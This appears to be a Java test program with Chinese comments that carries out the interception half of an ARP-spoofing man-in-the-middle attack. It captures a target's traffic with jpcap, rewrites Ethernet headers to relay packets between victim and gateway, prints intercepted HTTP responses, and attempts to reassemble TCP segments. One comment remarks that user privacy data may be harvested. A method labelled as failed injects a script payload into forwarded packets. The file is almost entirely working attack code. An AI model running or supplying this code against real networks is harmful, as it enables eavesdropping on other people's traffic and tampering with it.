package com.trjn.test;

import cn.hutool.core.util.ReUtil;
import cn.hutool.core.util.ZipUtil;
import cn.hutool.http.HttpUtil;
import com.trjn.base.Constants;
import com.trjn.util.ArpPacketBuilder;
import com.trjn.util.NetWorkUtil;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.EthernetPacket;
import jpcap.packet.Packet;
import jpcap.packet.TCPPacket;

import java.nio.charset.Charset;
import java.util.Arrays;

/**
 * @author : XieDong
 * @date : 2019/1/8 18:47
 */
public class NetWorkIntercept {

    /**
     * 拦截网卡数据包
     */
    public static void main(String[] args) throws Exception {
        //TODO 请先移步ArpTest运行Main函数进行ARP欺骗（记得修改参数值为你自己测试环境

        //ip mac 转换
        byte[] gateMacByte = ArpPacketBuilder.stomac(Constants.GATE_MAC);
        byte[] targetMacByte = ArpPacketBuilder.stomac(Constants.TARGET_MAC);
        byte[] myMacByte = ArpPacketBuilder.stomac(Constants.MY_MAC);

        //获取同网段网卡
        NetworkInterface device = NetWorkUtil.getDevice(Constants.NET_WORK);

        //打开网卡
        JpcapCaptor captor = JpcapCaptor.openDevice(device,65535,false,20);

        //开始接受数据包
        while (true){
            //获取流量包，这个时间arp欺诈成功后，该主机的流量包就会通过你的主机网卡发送。
            Packet p = captor.getPacket();

            if (p != null){

                //测试 只处理一下tcp包 其他就不管了
                if(p instanceof jpcap.packet.TCPPacket) {

                    String header = HttpUtil.getString(p.header, Charset.forName("utf-8"), true);
                    String http = HttpUtil.getString(p.data, Charset.forName("utf-8"), true);

                    //数据包发送
                    EthernetPacket eth;
                    if (p.datalink instanceof EthernetPacket) {
                        eth = (EthernetPacket) p.datalink;
                        //如果是目标去请求网关  现在会请求到我这里 我修改它的以太头 转给 网关
                        if(Arrays.equals(eth.src_mac,targetMacByte) && Arrays.equals(eth.dst_mac,myMacByte)){
                            eth.src_mac  = myMacByte;
                            eth.dst_mac  = gateMacByte;
                            //从这里可能拿到某些用户隐私数据?
                        }
                        // 如果是 网关去返回数据到目标 现在会返回到我这里 我修改它的以太头 转给 目标
                        if(Arrays.equals(eth.src_mac,gateMacByte) && Arrays.equals(eth.dst_mac,myMacByte)){
                            eth.src_mac  = myMacByte;
                            eth.dst_mac  = targetMacByte;

                            // 可以用一些判断过滤一下
//                            http.contains("Content-Type: text/html; charset=UTF-8")
                            if (http.contains("Server: IIS")){

                                int contentLength = 0;
                                String sLength = ReUtil.get("Content-Length: ([1-9]\\d*)", http, 1);
                                if(sLength!=null){
                                    contentLength = Integer.parseInt(sLength);
                                    System.out.println("协议里的长度"+contentLength);
                                }

                                //TODO  这里 gzip解压 bug 不会写了 头疼
                                boolean isGzip = false; //ReUtil.contains("Content-Encoding: gzip", http);
                                // 是否需要解压
                                if (isGzip){
                                    byte[] fullData = p.data;
                                    if (p.data.length < contentLength){
                                        fullData = getFullData(captor, p, contentLength);
                                    }
                                    System.out.println(unGzip(fullData));
                                }else {
                                    if (p.data.length < contentLength){
                                        byte[] fullData = getFullData(captor, p, contentLength);
                                        System.out.println("不解压合并分片结果\r\n"+HttpUtil.getString(fullData, Charset.forName("utf-8"), true)+"===========");
                                    }else {
                                        System.out.println("不解压单片\r\n"+http+"\r\n=============");
                                    }

                                }

                            }

                        }
                        // 转发
                        JpcapSender sender = captor.getJpcapSenderInstance();
                        sender.sendPacket(p);
                    }
                }
            }
        }

    }

    /**
     * 获取 最终 html
     */
    private static byte[] getFullData(JpcapCaptor captor, Packet p, int contentLength) throws Exception {
        //定义一个 byte[] 接收
        byte[] res = new byte[contentLength];
        //把第一个 也就是当前这个 放进去
        System.arraycopy(p.data,0,res,0,p.data.length);
        //获取后面几个 现在就先认为他是有序可靠的
        byte[] fullPacket = getFullPacket(contentLength, captor,res,p.data.length,((TCPPacket) p).ack_num);
        System.out.println("合并分片之后的长度"+fullPacket.length);
        return fullPacket;
    }

    /**
     * 递归拼接tcp分片
     */
    private static byte[] getFullPacket(int contentLength,JpcapCaptor captor,byte[] res,int pos,long firstAck) throws Exception{
        Packet p = captor.getPacket();
        if (p instanceof TCPPacket){
            TCPPacket pNext = (TCPPacket)p;
            if (res.length < pNext.data.length){
                System.arraycopy(pNext.data,0,res,pos,pNext.data.length);
                // TODO 用自己写的pos 不行不能正确的判断这个长度 换个 ack_num 来算一下   好像还是有点问题
                //合并之后还是不够就在去拿下一片
                if (pNext.ack_num - firstAck < contentLength){
                    getFullPacket(contentLength,captor,res,pos+pNext.data.length,firstAck);
                }
            }
        }
        return res;
    }


    /**
     * unGzip测试代码失败的
     * @throws Exception
     */
    private static String unGzip(byte[] gData) throws Exception{
        System.out.println("gzip长度"+gData.length);
        String tmp = new String(gData);
        String[] ary = tmp.split("\r\n\r\n");
        byte[] bg = ZipUtil.unGzip(ary[1].getBytes());
        return new String(bg);
    }

    /**
     * 失败的篡改
     */
    private static void forge(Packet p,JpcapCaptor captor,byte[] myMacByte,byte[] targetMacByte){
        int len = "<script>alert(1)</script>".getBytes().length;
        byte[] nByte = new byte[len+p.data.length];
        System.arraycopy(p.data,0,nByte,0,p.data.length);
        System.arraycopy("<script>alert(1)</script>".getBytes(),0,nByte,p.data.length,len);
        // 转发
        JpcapSender sender = captor.getJpcapSenderInstance();
        System.out.println("伪造的数据"+new String(nByte));
        p.data = nByte;
        EthernetPacket eth = (EthernetPacket) p.datalink;
        eth.src_mac  = myMacByte;
        eth.dst_mac  = targetMacByte;
        sender.sendPacket(p);
    }



}
